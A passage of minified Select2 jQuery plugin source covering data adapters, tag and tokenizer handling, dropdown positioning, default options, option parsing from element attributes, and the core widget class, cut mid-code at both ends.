d&&(0===d.status||"0"===d.status)||e.trigger("results:message",{message:"errorLoading"})});e._request=d}var e=this;null!=this._request&&(c.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var f=c.extend({type:"GET"},this.ajaxOptions);"function"==typeof f.url&&(f.url=f.url.call(this.$element,a)),"function"==typeof f.data&&(f.data=f.data.call(this.$element,a)),this.ajaxOptions.delay&&null!=a.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(d,this.ajaxOptions.delay)):d()},d}),b.define("select2/data/tags",["jquery"],function(a){function b(b,c,d){var e=d.get("tags"),f=d.get("createTag");void 0!==f&&(this.createTag=f);var g=d.get("insertTag");if(void 0!==g&&(this.insertTag=g),b.call(this,c,d),a.isArray(e))for(var h=0;h<e.length;h++){var i=e[h],j=this._normalizeItem(i),k=this.option(j);this.$element.append(k)}}return b.prototype.query=function(a,b,c){function d(a,f){for(var g=a.results,h=0;h<g.length;h++){var i=g[h],j=null!=i.children&&!d({results:i.children},!0);if((i.text||"").toUpperCase()===(b.term||"").toUpperCase()||j)return!f&&(a.data=g,void c(a))}if(f)return!0;var k=e.createTag(b);if(null!=k){var l=e.option(k);l.attr("data-select2-tag",!0),e.addOptions([l]),e.insertTag(g,k)}a.results=g,c(a)}var e=this;if(this._removeOldTags(),null==b.term||null!=b.page)return void a.call(this,b,c);a.call(this,b,d)},b.prototype.createTag=function(b,c){var d=a.trim(c.term);return""===d?null:{id:d,text:d}},b.prototype.insertTag=function(a,b,c){b.unshift(c)},b.prototype._removeOldTags=function(b){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},b}),b.define("select2/data/tokenizer",["jquery"],function(a){function b(a,b,c){var d=c.get("tokenizer");void 0!==d&&(this.tokenizer=d),a.call(this,b,c)}return b.prototype.bind=function(a,b,c){a.call(this,b,c),this.$search=b.dropdown.$search||b.selection.$search||c.find(".select2-search__field")},b.prototype.query=function(b,c,d){function e(b){var c=g._normalizeItem(b);if(!g.$element.find("option").filter(function(){return a(this).val()===c.id}).length){var d=g.option(c);d.attr("data-select2-tag",!0),g._removeOldTags(),g.addOptions([d])}f(c)}function f(a){g.trigger("select",{data:a})}var g=this;c.term=c.term||"";var h=this.tokenizer(c,this.options,e);h.term!==c.term&&(this.$search.length&&(this.$search.val(h.term),this.$search.focus()),c.term=h.term),b.call(this,c,d)},b.prototype.tokenizer=function(b,c,d,e){for(var f=d.get("tokenSeparators")||[],g=c.term,h=0,i=this.createTag||function(a){return{id:a.term,text:a.term}};h<g.length;){var j=g[h];if(-1!==a.inArray(j,f)){var k=g.substr(0,h),l=a.extend({},c,{term:k}),m=i(l);null!=m?(e(m),g=g.substr(h+1)||"",h=0):h++}else h++}return{term:g}},b}),b.define("select2/data/minimumInputLength",[],function(){function a(a,b,c){this.minimumInputLength=c.get("minimumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",b.term.length<this.minimumInputLength)return void this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumInputLength",[],function(){function a(a,b,c){this.maximumInputLength=c.get("maximumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",this.maximumInputLength>0&&b.term.length>this.maximumInputLength)return void this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumSelectionLength",[],function(){function a(a,b,c){this.maximumSelectionLength=c.get("maximumSelectionLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){var d=this;this.current(function(e){var f=null!=e?e.length:0;if(d.maximumSelectionLength>0&&f>=d.maximumSelectionLength)return void d.trigger("results:message",{message:"maximumSelected",args:{maximum:d.maximumSelectionLength}});a.call(d,b,c)})},a}),b.define("select2/dropdown",["jquery","./utils"],function(a,b){function c(a,b){this.$element=a,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<span class="select2-dropdown"><span class="select2-results"></span></span>');return b.attr("dir",this.options.get("dir")),this.$dropdown=b,b},c.prototype.bind=function(){},c.prototype.position=function(a,b){},c.prototype.destroy=function(){this.$dropdown.remove()},c}),b.define("select2/dropdown/search",["jquery","../utils"],function(a,b){function c(){}return c.prototype.render=function(b){var c=b.call(this),d=a('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" /></span>');return this.$searchContainer=d,this.$search=d.find("input"),c.prepend(d),c},c.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),this.$search.on("keydown",function(a){e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented()}),this.$search.on("input",function(b){a(this).off("keyup")}),this.$search.on("keyup input",function(a){e.handleSearch(a)}),c.on("open",function(){e.$search.attr("tabindex",0),e.$search.focus(),window.setTimeout(function(){e.$search.focus()},0)}),c.on("close",function(){e.$search.attr("tabindex",-1),e.$search.val(""),e.$search.blur()}),c.on("focus",function(){c.isOpen()||e.$search.focus()}),c.on("results:all",function(a){if(null==a.query.term||""===a.query.term){e.showSearch(a)?e.$searchContainer.removeClass("select2-search--hide"):e.$searchContainer.addClass("select2-search--hide")}})},c.prototype.handleSearch=function(a){if(!this._keyUpPrevented){var b=this.$search.val();this.trigger("query",{term:b})}this._keyUpPrevented=!1},c.prototype.showSearch=function(a,b){return!0},c}),b.define("select2/dropdown/hidePlaceholder",[],function(){function a(a,b,c,d){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c,d)}return a.prototype.append=function(a,b){b.results=this.removePlaceholder(b.results),a.call(this,b)},a.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},a.prototype.removePlaceholder=function(a,b){for(var c=b.slice(0),d=b.length-1;d>=0;d--){var e=b[d];this.placeholder.id===e.id&&c.splice(d,1)}return c},a}),b.define("select2/dropdown/infiniteScroll",["jquery"],function(a){function b(a,b,c,d){this.lastParams={},a.call(this,b,c,d),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return b.prototype.append=function(a,b){this.$loadingMore.remove(),this.loading=!1,a.call(this,b),this.showLoadingMore(b)&&this.$results.append(this.$loadingMore)},b.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),c.on("query",function(a){e.lastParams=a,e.loading=!0}),c.on("query:append",function(a){e.lastParams=a,e.loading=!0}),this.$results.on("scroll",function(){var b=a.contains(document.documentElement,e.$loadingMore[0]);if(!e.loading&&b){e.$results.offset().top+e.$results.outerHeight(!1)+50>=e.$loadingMore.offset().top+e.$loadingMore.outerHeight(!1)&&e.loadMore()}})},b.prototype.loadMore=function(){this.loading=!0;var b=a.extend({},{page:1},this.lastParams);b.page++,this.trigger("query:append",b)},b.prototype.showLoadingMore=function(a,b){return b.pagination&&b.pagination.more},b.prototype.createLoadingMore=function(){var b=a('<li class="select2-results__option select2-results__option--load-more"role="treeitem" aria-disabled="true"></li>'),c=this.options.get("translations").get("loadingMore");return b.html(c(this.lastParams)),b},b}),b.define("select2/dropdown/attachBody",["jquery","../utils"],function(a,b){function c(b,c,d){this.$dropdownParent=d.get("dropdownParent")||a(document.body),b.call(this,c,d)}return c.prototype.bind=function(a,b,c){var d=this,e=!1;a.call(this,b,c),b.on("open",function(){d._showDropdown(),d._attachPositioningHandler(b),e||(e=!0,b.on("results:all",function(){d._positionDropdown(),d._resizeDropdown()}),b.on("results:append",function(){d._positionDropdown(),d._resizeDropdown()}))}),b.on("close",function(){d._hideDropdown(),d._detachPositioningHandler(b)}),this.$dropdownContainer.on("mousedown",function(a){a.stopPropagation()})},c.prototype.destroy=function(a){a.call(this),this.$dropdownContainer.remove()},c.prototype.position=function(a,b,c){b.attr("class",c.attr("class")),b.removeClass("select2"),b.addClass("select2-container--open"),b.css({position:"absolute",top:-999999}),this.$container=c},c.prototype.render=function(b){var c=a("<span></span>"),d=b.call(this);return c.append(d),this.$dropdownContainer=c,c},c.prototype._hideDropdown=function(a){this.$dropdownContainer.detach()},c.prototype._attachPositioningHandler=function(c,d){var e=this,f="scroll.select2."+d.id,g="resize.select2."+d.id,h="orientationchange.select2."+d.id,i=this.$container.parents().filter(b.hasScroll);i.each(function(){b.StoreData(this,"select2-scroll-position",{x:a(this).scrollLeft(),y:a(this).scrollTop()})}),i.on(f,function(c){var d=b.GetData(this,"select2-scroll-position");a(this).scrollTop(d.y)}),a(window).on(f+" "+g+" "+h,function(a){e._positionDropdown(),e._resizeDropdown()})},c.prototype._detachPositioningHandler=function(c,d){var e="scroll.select2."+d.id,f="resize.select2."+d.id,g="orientationchange.select2."+d.id;this.$container.parents().filter(b.hasScroll).off(e),a(window).off(e+" "+f+" "+g)},c.prototype._positionDropdown=function(){var b=a(window),c=this.$dropdown.hasClass("select2-dropdown--above"),d=this.$dropdown.hasClass("select2-dropdown--below"),e=null,f=this.$container.offset();f.bottom=f.top+this.$container.outerHeight(!1);var g={height:this.$container.outerHeight(!1)};g.top=f.top,g.bottom=f.top+g.height;var h={height:this.$dropdown.outerHeight(!1)},i={top:b.scrollTop(),bottom:b.scrollTop()+b.height()},j=i.top<f.top-h.height,k=i.bottom>f.bottom+h.height,l={left:f.left,top:g.bottom},m=this.$dropdownParent;"static"===m.css("position")&&(m=m.offsetParent());var n=m.offset();l.top-=n.top,l.left-=n.left,c||d||(e="below"),k||!j||c?!j&&k&&c&&(e="below"):e="above",("above"==e||c&&"below"!==e)&&(l.top=g.top-n.top-h.height),null!=e&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+e),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+e)),this.$dropdownContainer.css(l)},c.prototype._resizeDropdown=function(){var a={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(a.minWidth=a.width,a.position="relative",a.width="auto"),this.$dropdown.css(a)},c.prototype._showDropdown=function(a){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},c}),b.define("select2/dropdown/minimumResultsForSearch",[],function(){function a(b){for(var c=0,d=0;d<b.length;d++){var e=b[d];e.children?c+=a(e.children):c++}return c}function b(a,b,c,d){this.minimumResultsForSearch=c.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),a.call(this,b,c,d)}return b.prototype.showSearch=function(b,c){return!(a(c.data.results)<this.minimumResultsForSearch)&&b.call(this,c)},b}),b.define("select2/dropdown/selectOnClose",["../utils"],function(a){function b(){}return b.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("close",function(a){d._handleSelectOnClose(a)})},b.prototype._handleSelectOnClose=function(b,c){if(c&&null!=c.originalSelect2Event){var d=c.originalSelect2Event;if("select"===d._type||"unselect"===d._type)return}var e=this.getHighlightedResults();if(!(e.length<1)){var f=a.GetData(e[0],"data");null!=f.element&&f.element.selected||null==f.element&&f.selected||this.trigger("select",{data:f})}},b}),b.define("select2/dropdown/closeOnSelect",[],function(){function a(){}return a.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("select",function(a){d._selectTriggered(a)}),b.on("unselect",function(a){d._selectTriggered(a)})},a.prototype._selectTriggered=function(a,b){var c=b.originalEvent;c&&c.ctrlKey||this.trigger("close",{originalEvent:c,originalSelect2Event:b})},a}),b.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(a){var b=a.input.length-a.maximum,c="Please delete "+b+" character";return 1!=b&&(c+="s"),c},inputTooShort:function(a){return"Please enter "+(a.minimum-a.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(a){var b="You can only select "+a.maximum+" item";return 1!=a.maximum&&(b+="s"),b},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),b.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C){function D(){this.reset()}return D.prototype.apply=function(l){if(l=a.extend(!0,{},this.defaults,l),null==l.dataAdapter){if(null!=l.ajax?l.dataAdapter=o:null!=l.data?l.dataAdapter=n:l.dataAdapter=m,l.minimumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,r)),l.maximumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,s)),l.maximumSelectionLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,t)),l.tags&&(l.dataAdapter=j.Decorate(l.dataAdapter,p)),null==l.tokenSeparators&&null==l.tokenizer||(l.dataAdapter=j.Decorate(l.dataAdapter,q)),null!=l.query){var C=b(l.amdBase+"compat/query");l.dataAdapter=j.Decorate(l.dataAdapter,C)}if(null!=l.initSelection){var D=b(l.amdBase+"compat/initSelection");l.dataAdapter=j.Decorate(l.dataAdapter,D)}}if(null==l.resultsAdapter&&(l.resultsAdapter=c,null!=l.ajax&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,x)),null!=l.placeholder&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,w)),l.selectOnClose&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,A))),null==l.dropdownAdapter){if(l.multiple)l.dropdownAdapter=u;else{var E=j.Decorate(u,v);l.dropdownAdapter=E}if(0!==l.minimumResultsForSearch&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,z)),l.closeOnSelect&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,B)),null!=l.dropdownCssClass||null!=l.dropdownCss||null!=l.adaptDropdownCssClass){var F=b(l.amdBase+"compat/dropdownCss");l.dropdownAdapter=j.Decorate(l.dropdownAdapter,F)}l.dropdownAdapter=j.Decorate(l.dropdownAdapter,y)}if(null==l.selectionAdapter){if(l.multiple?l.selectionAdapter=e:l.selectionAdapter=d,null!=l.placeholder&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,f)),l.allowClear&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,g)),l.multiple&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,h)),null!=l.containerCssClass||null!=l.containerCss||null!=l.adaptContainerCssClass){var G=b(l.amdBase+"compat/containerCss");l.selectionAdapter=j.Decorate(l.selectionAdapter,G)}l.selectionAdapter=j.Decorate(l.selectionAdapter,i)}if("string"==typeof l.language)if(l.language.indexOf("-")>0){var H=l.language.split("-"),I=H[0];l.language=[l.language,I]}else l.language=[l.language];if(a.isArray(l.language)){var J=new k;l.language.push("en");for(var K=l.language,L=0;L<K.length;L++){var M=K[L],N={};try{N=k.loadPath(M)}catch(a){try{M=this.defaults.amdLanguageBase+M,N=k.loadPath(M)}catch(a){l.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+M+'" could not be automatically loaded. A fallback will be used instead.');continue}}J.extend(N)}l.translations=J}else{var O=k.loadPath(this.defaults.amdLanguageBase+"en"),P=new k(l.language);P.extend(O),l.translations=P}return l},D.prototype.reset=function(){function b(a){function b(a){return l[a]||a}return a.replace(/[^\u0000-\u007E]/g,b)}function c(d,e){if(""===a.trim(d.term))return e;if(e.children&&e.children.length>0){for(var f=a.extend(!0,{},e),g=e.children.length-1;g>=0;g--){null==c(d,e.children[g])&&f.children.splice(g,1)}return f.children.length>0?f:c(d,f)}var h=b(e.text).toUpperCase(),i=b(d.term).toUpperCase();return h.indexOf(i)>-1?e:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:j.escapeMarkup,language:C,matcher:c,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(a){return a},templateResult:function(a){return a.text},templateSelection:function(a){return a.text},theme:"default",width:"resolve"}},D.prototype.set=function(b,c){var d=a.camelCase(b),e={};e[d]=c;var f=j._convertData(e);a.extend(!0,this.defaults,f)},new D}),b.define("select2/options",["require","jquery","./defaults","./utils"],function(a,b,c,d){function e(b,e){if(this.options=b,null!=e&&this.fromElement(e),this.options=c.apply(this.options),e&&e.is("input")){var f=a(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=d.Decorate(this.options.dataAdapter,f)}}return e.prototype.fromElement=function(a){var c=["select2"];null==this.options.multiple&&(this.options.multiple=a.prop("multiple")),null==this.options.disabled&&(this.options.disabled=a.prop("disabled")),null==this.options.language&&(a.prop("lang")?this.options.language=a.prop("lang").toLowerCase():a.closest("[lang]").prop("lang")&&(this.options.language=a.closest("[lang]").prop("lang"))),null==this.options.dir&&(a.prop("dir")?this.options.dir=a.prop("dir"):a.closest("[dir]").prop("dir")?this.options.dir=a.closest("[dir]").prop("dir"):this.options.dir="ltr"),a.prop("disabled",this.options.disabled),a.prop("multiple",this.options.multiple),d.GetData(a[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),d.StoreData(a[0],"data",d.GetData(a[0],"select2Tags")),d.StoreData(a[0],"tags",!0)),d.GetData(a[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),a.attr("ajax--url",d.GetData(a[0],"ajaxUrl")),d.StoreData(a[0],"ajax-Url",d.GetData(a[0],"ajaxUrl")));var e={};e=b.fn.jquery&&"1."==b.fn.jquery.substr(0,2)&&a[0].dataset?b.extend(!0,{},a[0].dataset,d.GetData(a[0])):d.GetData(a[0]);var f=b.extend(!0,{},e);f=d._convertData(f);for(var g in f)b.inArray(g,c)>-1||(b.isPlainObject(this.options[g])?b.extend(this.options[g],f[g]):this.options[g]=f[g]);return this},e.prototype.get=function(a){return this.options[a]},e.prototype.set=function(a,b){this.options[a]=b},e}),b.define("select2/core",["jquery","./options","./utils","./keys"],function(a,b,c,d){var e=function(a,d){null!=c.GetData(a[0],"select2")&&c.GetData(a[0],"select2").destroy(),this.$element=a,this.id=this._generateId(a),d=d||{},this.options=new b(d,a),e.__super__.constructor.call(this);var f=a.attr("tabindex")||0;c.StoreData(a[0],"old-tabindex",f),a.attr("tabindex","-1");var g=this.options.get("dataAdapter");this.dataAdapter=new g(a,this.options);var h=this.render();this._placeContainer(h);var i=this.options.get("selectionAdapter");this.selection=new i(a,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,h);var j=this.options.get("dropdownAdapter");this.dropdown=new j(a,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,h);var k=this.options.get("resultsAdapter");this.results=new k(a,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(a){l.trigger("selection:update",{data:a})}),a.addClass("select2-hidden-accessible"),a.attr("aria-hidden","true"),this._syncAttributes(),c.StoreData(a[0],"select2",this),a.data("select2",this)};return c.Extend(e,c.Observable),e.prototype._generateId=function(a){var b="";return b=null!=a.attr("id")?a.attr("id"):null!=a.attr("name")?a.attr("name")+"-"+c.generateChars(2):c.generateChars(4),b=b.replace(/(:|\.|\[|\]|,)/g,""),b="select2-"+b},e.prototype._placeContainer=function(a){a.insertAfter(this.$element);var b=this._resolveWidth(this.$element,this.options.get("width"));null!=b&&a.css("width",b)},e.prototype._resolveWidth=function(a,b){var c=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==b){var d=this._resolveWidth(a,"style");return null!=d?d:this._resolveWidth(a,"element")}if("element"==b){var e=a.outerWidth(!1);return e<=0?"auto":e+"px"}if("style"==b){var f=a.attr("style");if("string"!=typeof f)return null;for(var g=f.split(";"),h=0,i=g.length;h<i;h+=1){var j=g[h].replace(/\s/g,""),k=j.match(c);if(null!==k&&k.length>=1)return k[1]}return null}return b},e.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},e.prototype._registerDomEvents=function(){var b=this;this.$element.on("change.select2",function(){b.dataAdapter.current(function(a){b.trigger("selection:update",{data:a})})}),this.$element.on("focus.select2",function(a){b.trigger("focus",a)}),this._syncA=c.bind(this._syncAttributes,this),this._syncS=c.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var d=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=d?(this._observer=new d(function(c){a.each(c,b._syncA),a.each(c,b._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",b._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",b._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",b._syncS,!1))},e.prototype._registerDataEvents=function(){var a=this;this.dataAdapter.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerSelectionEvents=function(){var b=this,c=["toggle","focus"];this.selection.on("toggle",function(){b.toggleDropdown()}),this.selection.on("focus",function(a){b.focus(a)}),this.selection.on("*",function(d,e){-1===a.inArray(d,c)&&b.trigger(d,e)})},e.prototype._registerDropdownEvents=function(){var a=this;this.dropdown.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerResultsEvents=function(){var a=this;this.results.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerEvents=function(){var a=this;this.on("open",function(){a.$container.addClass("select2-container--open")}),this.on("close",function(){a.$container.removeClass("select2-container--open")}),this.on("enable",function(){a.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){a.$container.addClass("select2-container--disabled")}),this.on("blur",function(){a.$container.removeClass("select2-container--focus")}),this.on("query",function(b){a.isOpen()||a.trigger("open",{}),this.dataAdapter.query(b,function(c){a.trigger("results:all",{data:c,query:b})})}),this.on("query:append",function(b){this.dataAdapter.query(b,function(c){a.trigger("results:append",{data:c,query:b})})}),this.on("keypress",function(b){var c=b.which;a.isOpen()?c===d.ESC||c===d.TAB||c===d.UP&&b.altKey?(a.close(),b.preventDefault()):c===d.ENTER?(a.trigger("results:select",{}),b.preventDefault()):c===d.SPACE&&b.ctrlKey?(a.trigger("results:toggle",{}),b.preventDefault()):c===d.UP?(a.trigger("results:previous",{}),b.preventDefault()):c===d.DOWN&&(a.trigger("results:next",{}),b.preventDefault()):(c===d.ENTER||c===d.SPACE||c===d.DOWN&&b.altKey)&&(a.open(),b.preventDefault())})},e.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},e.prototype._syncSubtree=function(a,b){var c=!1,d=this;if(!a||!a.target||"OPTION"===a.target.nodeName||"OPTGROUP"===a.target.nodeName){if(b)if(b.addedNodes&&b.addedNodes.length>0)for(var e=0;e<b.addedNodes.length;e++){var f=b.addedNodes[e];f.selected&&(c=!0)}else b.removedNodes&&b.removedNodes.length>0&&(c=!0);else c=!0;c&&this.dataAdapter.current(function(a){d.trigger("selection:update",{data:a})})}},e.prototype.trigger=function(a,b){var c=e.__super__.trigger,d={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===b&&(b={}),a in d){var f=d[a],g={prevented:!1,name:a,args:b};if(c.call(this,f,g),g.prevented)return void(b.prevented=!0)}c.call(this,a,b)},e.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},e.prototype.open=function(){this.isOpen()||this.trigger("query",{})},e.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},e.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},e.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},e.prototype.focus=function(a){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},e.prototype.enable=function(a){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=a&&0!==a.length||(a=[!0]);var b=!a[0];this.$element.prop("disabled",b)},e.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var a=[];return this.dataAdapter.current(function(b){a=b}),a},e.prototype.val=function(b){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==b||0===b.length)return this.$element.val();var c=b[0];a.isArray(c)&&(c=a.map(c,function(a){return a.toString()})),this.$element.val(c).trigger("change")},e.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",c.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),c.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},e.prototype.render=function(){var b=a('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return b.attr("dir",this.options.get("dir")),this.$container=b,this.$container.addClass("select2-container--"+this.options.get("theme")),c.StoreData(b[0],"element",this.$element),b},e}),b.define("select2/compat/utils",["jquery"],function(a){function b(b,c,d){var e,f,g=[];e=a.trim(b.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0===this.indexOf("select2-")&&g.push(this)})),e=a.trim(c.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(f=d(this))&&g.push(f)})),b.attr("class",g.join(" "))}return{syncCssClasses:b}}),b.define("select2/compat/containerCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("containerCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptContainerCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("containerCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/dropdownCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("dropdownCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptDropdownCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("dropdownCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/initSelection",["jquery"],function(a){function b(a,b,c){c.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=c.get("initSelection"),this._isInitialized=!1,a.call(this,b,c)}return b.prototype.current=function(b,c){var d=this;if(this._isInitialized)return void b.call(this,c);this.initSelection.call(null,this.$element,function(b){d._isInitialized=!0,a.isArray(b)||(b=[b]),c(b)})},b}),b.define("select2/compat/inputData",["jquery","../utils"],function(a,b){function c(a,b,c){this._currentData=[],this._valueSeparator=c.get("valueSeparator")||",","hidden"===b.prop("type")&&c.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `<select>` element instead."),a.call(this,b,c)}return c.prototype.current=function(b,c){function d(b,c){var e=[];return b.selected||-1!==a.inArray(b.id,c)?(b.selected=!0,e.push(b)):b.selected=!1,b.children&&e.push.apply(e,d(b.children,c)),e}for(var e=[],f=0;f<this._currentData.length;f++){var g=this._currentData[f];e.push.apply(e,d(g,this.$element.val().split(this._valueSeparator)))}c(e)},c.prototype.select=function(b,c){if(this.options.get("multiple")){var d=this.$element.val();d+=this._valueSeparator+c.id,this.$element.val(d),this.$element.trigger("change")}else this.current(function(b){a.map(b,function(a){a.selected=!1})}),this.$element.val(c.id),this.$element.trigger("change")},c.prototype.unselect=function(a,b){var c=this;b.selected=!1,this.current(function(a){for(var d=[],e=0;e<a.length;e++){var 